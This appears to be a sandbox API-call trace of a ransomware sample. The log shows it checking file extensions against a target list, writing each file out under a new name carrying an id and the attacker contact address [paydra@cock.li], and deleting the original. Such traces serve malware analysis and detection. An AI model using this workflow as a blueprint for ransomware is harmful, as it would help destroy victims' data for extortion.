[0046.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.210] lstrlenW (lpString=".zip") returned 4 [0046.210] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.210] lstrlenW (lpString=".rar") returned 4 [0046.210] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.210] lstrlenW (lpString=".bz2") returned 4 [0046.210] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.210] lstrlenW (lpString=".7z") returned 3 [0046.210] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.210] lstrlenW (lpString=".dbf") returned 4 [0046.210] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.210] lstrlenW (lpString=".1cd") returned 4 [0046.210] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.210] lstrlenW (lpString=".jpg") returned 4 [0046.210] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.210] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.210] lstrlenW (lpString=".doc") returned 4 [0046.210] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.210] lstrlenW (lpString=".docx") returned 5 [0046.210] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.210] lstrlenW (lpString=".pdf") returned 4 [0046.210] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.210] lstrlenW (lpString=".xls") returned 4 [0046.210] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.210] lstrlenW (lpString=".xlsx") returned 5 [0046.210] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.210] lstrlenW (lpString=".ppt") returned 4 [0046.211] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.211] lstrlenW (lpString=".zip") returned 4 [0046.211] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.211] lstrlenW (lpString=".rar") returned 4 [0046.211] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.211] lstrlenW (lpString=".bz2") returned 4 [0046.211] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.211] lstrlenW (lpString=".7z") returned 3 [0046.211] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.211] lstrlenW (lpString=".dbf") returned 4 [0046.211] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.211] lstrlenW (lpString=".1cd") returned 4 [0046.211] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.211] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\PREVIEW.GIF") returned 75 [0046.211] lstrlenW (lpString=".jpg") returned 4 [0046.211] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.211] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.211] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.211] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.212] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2574) returned 1 [0046.212] CloseHandle (hObject=0x1c8) returned 1 [0046.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 0x20 [0046.212] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.212] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.212] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.212] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0046.216] GetLastError () returned 0x0 [0046.216] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xa0e, lpOverlapped=0x0) returned 1 [0046.217] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xa10, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xa10, lpOverlapped=0x0) returned 1 [0046.218] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.218] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.219] SetEndOfFile (hFile=0x1e0) returned 1 [0046.219] CloseHandle (hObject=0x1e0) returned 1 [0046.219] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.219] SetEndOfFile (hFile=0x1c8) returned 1 [0046.219] CloseHandle (hObject=0x1c8) returned 1 [0046.220] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.220] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\preview.gif")) returned 1 [0046.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.220] lstrlenW (lpString=".doc") returned 4 [0046.220] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.220] lstrlenW (lpString=".docx") returned 5 [0046.220] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.220] lstrlenW (lpString=".pdf") returned 4 [0046.220] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.220] lstrlenW (lpString=".xls") returned 4 [0046.220] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.220] lstrlenW (lpString=".xlsx") returned 5 [0046.220] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.220] lstrlenW (lpString=".ppt") returned 4 [0046.220] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.220] lstrlenW (lpString=".zip") returned 4 [0046.220] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.220] lstrlenW (lpString=".rar") returned 4 [0046.220] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.221] lstrlenW (lpString=".bz2") returned 4 [0046.221] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.221] lstrlenW (lpString=".7z") returned 3 [0046.221] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.221] lstrlenW (lpString=".dbf") returned 4 [0046.221] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.221] lstrlenW (lpString=".1cd") returned 4 [0046.221] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.221] lstrlenW (lpString=".jpg") returned 4 [0046.221] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.221] lstrlenW (lpString=".doc") returned 4 [0046.221] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.221] lstrlenW (lpString=".docx") returned 5 [0046.221] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.221] lstrlenW (lpString=".pdf") returned 4 [0046.221] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.221] lstrlenW (lpString=".xls") returned 4 [0046.221] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.221] lstrlenW (lpString=".xlsx") returned 5 [0046.221] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.221] lstrlenW (lpString=".ppt") returned 4 [0046.221] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.221] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.221] lstrlenW (lpString=".zip") returned 4 [0046.221] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.221] lstrlenW (lpString=".rar") returned 4 [0046.221] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.222] lstrlenW (lpString=".bz2") returned 4 [0046.222] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.222] lstrlenW (lpString=".7z") returned 3 [0046.222] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.222] lstrlenW (lpString=".dbf") returned 4 [0046.222] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.222] lstrlenW (lpString=".1cd") returned 4 [0046.222] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.222] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\PREVIEW.GIF") returned 75 [0046.222] lstrlenW (lpString=".jpg") returned 4 [0046.222] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.222] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.222] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.222] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.223] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=37440) returned 1 [0046.223] CloseHandle (hObject=0x1c8) returned 1 [0046.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 0x20 [0046.223] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.223] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.223] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.223] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0046.223] GetLastError () returned 0x0 [0046.223] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x9240, lpOverlapped=0x0) returned 1 [0046.225] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x9250, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x9250, lpOverlapped=0x0) returned 1 [0046.227] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.227] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.227] SetEndOfFile (hFile=0x1e0) returned 1 [0046.227] CloseHandle (hObject=0x1e0) returned 1 [0046.227] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.227] SetEndOfFile (hFile=0x1c8) returned 1 [0046.228] CloseHandle (hObject=0x1c8) returned 1 [0046.228] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.228] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\thmbnail.png")) returned 1 [0046.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.229] lstrlenW (lpString=".doc") returned 4 [0046.229] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.229] lstrlenW (lpString=".docx") returned 5 [0046.229] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.229] lstrlenW (lpString=".pdf") returned 4 [0046.229] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.229] lstrlenW (lpString=".xls") returned 4 [0046.229] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.229] lstrlenW (lpString=".xlsx") returned 5 [0046.229] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.229] lstrlenW (lpString=".ppt") returned 4 [0046.229] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.229] lstrlenW (lpString=".zip") returned 4 [0046.229] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.229] lstrlenW (lpString=".rar") returned 4 [0046.229] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.229] lstrlenW (lpString=".bz2") returned 4 [0046.229] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.229] lstrlenW (lpString=".7z") returned 3 [0046.229] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.229] lstrlenW (lpString=".dbf") returned 4 [0046.229] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.229] lstrlenW (lpString=".1cd") returned 4 [0046.229] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.229] lstrlenW (lpString=".jpg") returned 4 [0046.229] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.230] lstrlenW (lpString=".doc") returned 4 [0046.230] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.230] lstrlenW (lpString=".docx") returned 5 [0046.230] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.230] lstrlenW (lpString=".pdf") returned 4 [0046.230] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.230] lstrlenW (lpString=".xls") returned 4 [0046.230] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.230] lstrlenW (lpString=".xlsx") returned 5 [0046.230] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.230] lstrlenW (lpString=".ppt") returned 4 [0046.230] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.230] lstrlenW (lpString=".zip") returned 4 [0046.230] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.230] lstrlenW (lpString=".rar") returned 4 [0046.230] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.230] lstrlenW (lpString=".bz2") returned 4 [0046.230] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.230] lstrlenW (lpString=".7z") returned 3 [0046.230] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.230] lstrlenW (lpString=".dbf") returned 4 [0046.230] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.230] lstrlenW (lpString=".1cd") returned 4 [0046.230] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\THMBNAIL.PNG") returned 76 [0046.230] lstrlenW (lpString=".jpg") returned 4 [0046.230] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.231] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.231] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.231] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=1593) returned 1 [0046.231] CloseHandle (hObject=0x1c8) returned 1 [0046.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 0x20 [0046.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0046.231] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.231] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.231] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0046.233] GetLastError () returned 0x0 [0046.233] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x639, lpOverlapped=0x0) returned 1 [0046.235] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x640, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x640, lpOverlapped=0x0) returned 1 [0046.236] ReadFile (in: hFile=0x1c8, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.236] WriteFile (in: hFile=0x1e0, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.236] SetEndOfFile (hFile=0x1e0) returned 1 [0046.236] CloseHandle (hObject=0x1e0) returned 1 [0046.236] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.236] SetEndOfFile (hFile=0x1c8) returned 1 [0046.237] CloseHandle (hObject=0x1c8) returned 1 [0046.237] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.237] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\preview.gif")) returned 1 [0046.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\PREVIEW.GIF") returned 73 [0046.237] lstrlenW (lpString=".doc") returned 4 [0046.237] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.237] lstrlenW (lpString=".docx") returned 5 [0046.238] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.238] lstrlenW (lpString=".pdf") returned 4 [0046.238] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.238] lstrlenW (lpString=".xls") returned 4 [0046.238] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.238] lstrlenW (lpString=".xlsx") returned 5 [0046.238] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.238] lstrlenW (lpString=".ppt") returned 4 